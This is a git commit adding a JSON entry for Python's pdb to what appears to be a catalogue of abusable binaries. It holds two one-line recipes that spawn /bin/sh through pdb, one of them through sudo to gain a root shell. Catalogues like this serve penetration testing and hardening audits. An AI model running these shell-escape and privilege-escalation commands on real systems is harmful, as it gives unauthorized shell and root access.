add data source for pdb

master
t0thkr1s 4 years ago
parent 87a964f524
commit ea1789164e

@ -0,0 +1,15 @@
{
"description": "This allows to execute Python code, other functions may apply.",
"functions": {
"shell": [
{
"code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\npdb $TF\ncont\n"
}
],
"sudo": [
{
"code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\nsudo pdb $TF\ncont\n"
}
]
}
}
Loading…
Cancel
Save